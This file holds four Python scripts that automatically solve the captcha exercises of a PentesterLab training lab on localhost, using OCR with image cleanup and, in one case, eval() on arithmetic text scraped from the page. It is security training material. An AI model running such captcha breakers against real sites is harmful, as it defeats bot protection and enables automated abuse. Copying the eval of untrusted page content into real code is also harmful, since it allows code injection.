Breaks captchas of PentesterLab https://www.pentesterlab.com/exercises/web_for_pentester_II/

captcha_example_6.py

#! /usr/bin/env python

import requests
import shutil
import subprocess
import os

url_form = 'http://localhost:31337/captcha/example6/'
url_submit = url_form + 'submit'
captcha_image_path = 'captcha_image.png'

s = requests.session()

response = s.get(url_form)

image_url = url_form + response.text[response.text.index('captcha.png'):][:32]
print "[+] Got image url %s" % image_url

response = s.get(image_url, stream=True)
with open(captcha_image_path, 'wb+') as f:
    response.raw.decode_content = True
    shutil.copyfileobj(response.raw, f)
print "[+] Got image. Saved image %s" % captcha_image_path

tesseract_output = subprocess.check_output(['/usr/bin/tesseract', captcha_image_path, 'stdout', '-psm 8'], stderr=open(os.devnull, 'wb')).strip() # The '-psm 8' guarantees one word answer
print "[+] Ran tesseract. Received output %s." % repr(tesseract_output)

captcha_text = tesseract_output

response = s.get(url_submit, params={'captcha':captcha_text, 'submit':'Submit Query'}, cookies=s.cookies)

if 'Success' in response.text:
    print "[+] Successfully submitted captcha"
else:
    print "[-] Unsuccessfull in breaking captcha"

captcha_example_7.py

#! /usr/bin/env python

import requests
import shutil
import subprocess
import os

url_form = 'http://localhost:31337/captcha/example7/'
url_submit = url_form + 'submit'
captcha_image_path = 'captcha_image.png'

s = requests.session()

response = s.get(url_form)

image_url = url_form + response.text[response.text.index('captcha.png'):][:32]
print "[+] Got image url %s" % image_url

response = s.get(image_url, stream=True)
with open(captcha_image_path, 'wb+') as f:
    response.raw.decode_content = True
    shutil.copyfileobj(response.raw, f)
print "[+] Got image. Saved image %s" % captcha_image_path

subprocess.call(['/usr/bin/convert', captcha_image_path, '-white-threshold', '1', captcha_image_path])
print "[+] Cleaned image"

tesseract_output = subprocess.check_output(['/usr/bin/tesseract', captcha_image_path, 'stdout', '-psm 8'], stderr=open(os.devnull, 'wb')).strip() # The '-psm 8' guarantees one word answer
print "[+] Ran tesseract. Received output %s." % repr(tesseract_output)

captcha_text = tesseract_output.lower().replace(' ','')

response = s.get(url_submit, params={'captcha':captcha_text, 'submit':'Submit Query'}, cookies=s.cookies)

if 'Success' in response.text:
    print "[+] Successfully submitted captcha %s" % repr(captcha_text)
else:
    print "[-] Unsuccessfull in breaking captcha"

captcha_example_8.py

#! /usr/bin/env python

import requests
import shutil
import subprocess
import os

url_form = 'http://localhost:31337/captcha/example8/'
url_submit = url_form + 'submit'
captcha_image_path = 'captcha_image.png'

s = requests.session()

response = s.get(url_form)

image_url = url_form + response.text[response.text.index('captcha.png'):][:32]
print "[+] Got image url %s" % image_url

response = s.get(image_url, stream=True)
with open(captcha_image_path, 'wb+') as f:
    response.raw.decode_content = True
    shutil.copyfileobj(response.raw, f)
print "[+] Got image. Saved image %s" % captcha_image_path

subprocess.call(['/usr/bin/convert', captcha_image_path, '-white-threshold', '30000', '-implode', '-0.65', captcha_image_path])
print "[+] Cleaned image"

tesseract_output = subprocess.check_output(['/usr/bin/tesseract', captcha_image_path, 'stdout', '-psm 8'], stderr=open(os.devnull, 'wb')).strip() # The '-psm 8' guarantees one word answer
print "[+] Ran tesseract. Received output %s." % repr(tesseract_output)

captcha_text = tesseract_output.lower().replace(' ','')

response = s.get(url_submit, params={'captcha':captcha_text, 'submit':'Submit Query'}, cookies=s.cookies)

if 'Success' in response.text:
    print "[+] Successfully submitted captcha %s" % repr(captcha_text)
else:
    print "[-] Unsuccessfull in breaking captcha"

captcha_example_9.py

#! /usr/bin/env python

import requests

url_form = 'http://localhost:31337/captcha/example9/'
url_submit = url_form + 'submit'

s = requests.session()

response = s.get(url_form)

captcha = response.text[response.text.index('<form action="submit" action="get">')+38:response.text.index('<input type="text" name="captcha"/>')-3]

print "[+] Found captcha '%s'" % captcha

captcha_text = str(eval(captcha))

print "[+] Solved captcha %s" % captcha_text

response = s.get(url_submit, params={'captcha':captcha_text, 'submit':'Submit Query'}, cookies=s.cookies)

if 'Success' in response.text:
    print "[+] Successfully submitted captcha %s" % repr(captcha_text)
else:
    print "[-] Unsuccessfull in breaking captcha"